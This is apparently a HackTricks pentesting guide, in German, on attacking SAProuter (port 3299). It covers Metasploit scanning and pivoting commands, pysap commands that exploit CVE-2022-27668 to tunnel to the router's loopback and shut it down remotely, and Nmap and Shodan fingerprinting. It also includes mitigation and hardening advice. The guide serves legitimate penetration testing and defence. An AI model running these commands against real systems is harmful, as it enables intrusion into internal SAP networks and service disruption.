# 3299/tcp - Pentesting SAProuter
Reading time: 7 minutes
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.
PORT STATE SERVICE VERSION
3299/tcp open saprouter?
Dies ist eine Zusammenfassung des Beitrags von https://blog.rapid7.com/2014/01/09/piercing-saprouter-with-metasploit/
Verständnis der SAProuter-Penetration mit Metasploit
SAProuter fungiert als Reverse-Proxy für SAP-Systeme, hauptsächlich um den Zugriff zwischen dem Internet und internen SAP-Netzwerken zu steuern. Es wird häufig dem Internet ausgesetzt, indem der TCP-Port 3299 durch die organisatorischen Firewalls erlaubt wird. Diese Konfiguration macht SAProuter zu einem attraktiven Ziel für Pentesting, da es als Gateway zu wertvollen internen Netzwerken dienen könnte.
Scannen und Informationssammlung
Zunächst wird ein Scan durchgeführt, um festzustellen, ob ein SAP-Router auf einer bestimmten IP läuft, indem das Modul sap_service_discovery verwendet wird. Dieser Schritt ist entscheidend, um die Präsenz eines SAP-Routers und seinen offenen Port festzustellen.
msf> use auxiliary/scanner/sap/sap_service_discovery
msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101
msf auxiliary(sap_service_discovery) > run
Nach der Entdeckung wird eine weitere Untersuchung der Konfiguration des SAP-Routers mit dem sap_router_info_request-Modul durchgeführt, um möglicherweise interne Netzwerkdetails offenzulegen.
msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request
msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101
msf auxiliary(sap_router_info_request) > run
Auflisten interner Dienste
Mit den gewonnenen Einblicken in das interne Netzwerk wird das sap_router_portscanner-Modul verwendet, um interne Hosts und Dienste über den SAProuter zu scannen, was ein tieferes Verständnis der internen Netzwerke und Dienstkonfigurationen ermöglicht.
msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50
msf auxiliary(sap_router_portscanner) > set PORTS 32NN
Die Flexibilität dieses Moduls, spezifische SAP-Instanzen und Ports anzusprechen, macht es zu einem effektiven Werkzeug für eine detaillierte interne Netzwerkexploration.
Erweiterte Enumeration und ACL-Abbildung
Weiteres Scannen kann aufzeigen, wie die Access Control Lists (ACLs) auf dem SAProuter konfiguriert sind, und detaillieren, welche Verbindungen erlaubt oder blockiert sind. Diese Informationen sind entscheidend für das Verständnis von Sicherheitsrichtlinien und potenziellen Schwachstellen.
msf auxiliary(sap_router_portscanner) > set MODE TCP
msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN
Blind Enumeration von internen Hosts
In Szenarien, in denen direkte Informationen vom SAProuter begrenzt sind, können Techniken wie Blind Enumeration angewendet werden. Dieser Ansatz versucht, die Existenz interner Hostnamen zu erraten und zu überprüfen, wodurch potenzielle Ziele ohne direkte IP-Adressen offengelegt werden.
Nutzung von Informationen für Penetrationstests
Nachdem das Netzwerk kartiert und zugängliche Dienste identifiziert wurden, können Penetrationstester die Proxy-Funktionen von Metasploit nutzen, um über den SAProuter für weitere Erkundungen und Ausnutzung interner SAP-Dienste zu pivotieren.
msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299
msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18
msf auxiliary(sap_hostctrl_getcomputersystem) > run
Fazit
Dieser Ansatz unterstreicht die Bedeutung sicherer SAProuter-Konfigurationen und hebt das Potenzial hervor, über gezielte Penetrationstests auf interne Netzwerke zuzugreifen. Die ordnungsgemäße Sicherung von SAP-Routern und das Verständnis ihrer Rolle in der Netzwerksicherheitsarchitektur sind entscheidend, um sich gegen unbefugten Zugriff zu schützen.
Für detailliertere Informationen zu Metasploit-Modulen und deren Verwendung besuchen Sie Rapid7's database.
Aktuelle Schwachstellen (2022-2025)
CVE-2022-27668 – Unzureichende Zugriffskontrolle ➜ Remote Administrative Command Execution
Im Juni 2022 veröffentlichte SAP die Sicherheitsnotiz 3158375, die einen kritischen Fehler (CVSS 9.8) im SAProuter (alle Kerne ≥ 7.22) behandelt. Ein nicht authentifizierter Angreifer kann permissive saprouttab
-Einträge ausnutzen, um Administrationspakete (z. B. shutdown, trace-level, connection-kill) von einem Remote-Host zu senden, selbst wenn der Router ohne die -X
Remote-Admin-Option gestartet wurde.
Das Problem ergibt sich aus der Möglichkeit, einen Tunnel zur eigenen Loopback-Schnittstelle des Routers aufzubauen, indem die nicht spezifizierte Adresse 0.0.0.0 angegriffen wird. Sobald der Tunnel eingerichtet ist, erhält der Angreifer lokale Hostrechte und kann jeden Admin-Befehl ausführen.
Die praktische Ausnutzung kann mit dem pysap-Framework reproduziert werden:
# 1. Build a loopback tunnel through the vulnerable SAProuter
python router_portfw.py -d <ROUTER_IP> -p 3299 \
-t 0.0.0.0 -r 3299 \
-a 127.0.0.1 -l 3299 -v
# 2. Send an admin packet (here: stop the remote router)
python router_admin.py -s -d 127.0.0.1 -p 3299
Betroffene Versionen
- Stand-alone SAProuter 7.22 / 7.53
- Kernel 7.49, 7.77, 7.81, 7.85–7.88 (inkl. KRNL64NUC/UC)
Behebung / Minderung
- Wenden Sie den mit SAP-Hinweis 3158375 gelieferten Patch an.
- Entfernen Sie Wildcard (
*
) Ziele aus denP
undS
Zeilen insaprouttab
. - Stellen Sie sicher, dass der Router ohne die
-X
Option gestartet wird und nicht direkt dem Internet ausgesetzt ist.
Aktualisierte Werkzeuge & Tricks
- pysap – aktiv gepflegt und bietet
router_portfw.py
,router_admin.py
&router_trace.py
zum Erstellen benutzerdefinierter NI/Router-Pakete, Fuzzing von ACLs oder Automatisierung des CVE-2022-27668 Exploits. - Nmap – erweitern Sie die Dienstedetektion, indem Sie die benutzerdefinierte SAProuter-Abfrage hinzufügen:
Probe TCP SAProuter q|\x00\x00\x00\x00|
ports 3299
match saprouter m|SAProuter ([\d.]+)| p/SAProuter/ v/$1/
Kombinieren Sie dies mit NSE-Skripten oder --script=banner
, um schnell Versionen zu identifizieren, die die Bannerzeichenfolge (SAProuter <ver> on '<host>'
) ausgeben.
- Metasploit – die oben gezeigten Hilfsmodule funktionieren weiterhin über einen SOCKS- oder NI-Proxy, der mit pysap erstellt wurde, und ermöglichen eine vollständige Framework-Integration, selbst wenn der Router den direkten Zugriff blockiert.
Härtungs- & Erkennungs-Checkliste
- Filtern Sie den Port 3299/TCP an der Perimeter-Firewall – erlauben Sie den Verkehr nur von vertrauenswürdigen SAP-Support-Netzwerken.
- Halten Sie den SAProuter vollständig gepatcht; überprüfen Sie mit
saprouter -v
und vergleichen Sie mit dem neuesten Kernel-Patchlevel. - Verwenden Sie strikte, host-spezifische Einträge in
saprouttab
; vermeiden Sie*
Wildcards und lehnen SieP
/S
Regeln ab, die beliebige Hosts oder Ports anvisieren. - Starten Sie den Dienst mit
-S <secudir>
+ SNC, um Verschlüsselung und gegenseitige Authentifizierung durchzusetzen. - Deaktivieren Sie die Remote-Verwaltung (
-X
) und binden Sie, wenn möglich, den Listener an127.0.0.1
, während Sie einen externen Reverse-Proxy für den erforderlichen Verkehr verwenden. - Überwachen Sie das dev_rout Protokoll auf verdächtige
ROUTER_ADM
Pakete oder unerwarteteNI_ROUTE
Anfragen an0.0.0.0
.
Referenzen
- https://www.rapid7.com/blog/post/2014/01/09/piercing-saprouter-with-metasploit/
- https://sec-consult.com/vulnerability-lab/advisory/improper-access-control-in-sap-saprouter/
Shodan
port:3299 !HTTP Network packet too big
tip
Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Lernen & üben Sie Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Unterstützen Sie HackTricks
- Überprüfen Sie die Abonnementpläne!
- Treten Sie der 💬 Discord-Gruppe oder der Telegram-Gruppe bei oder folgen Sie uns auf Twitter 🐦 @hacktricks_live.
- Teilen Sie Hacking-Tricks, indem Sie PRs an die HackTricks und HackTricks Cloud GitHub-Repos senden.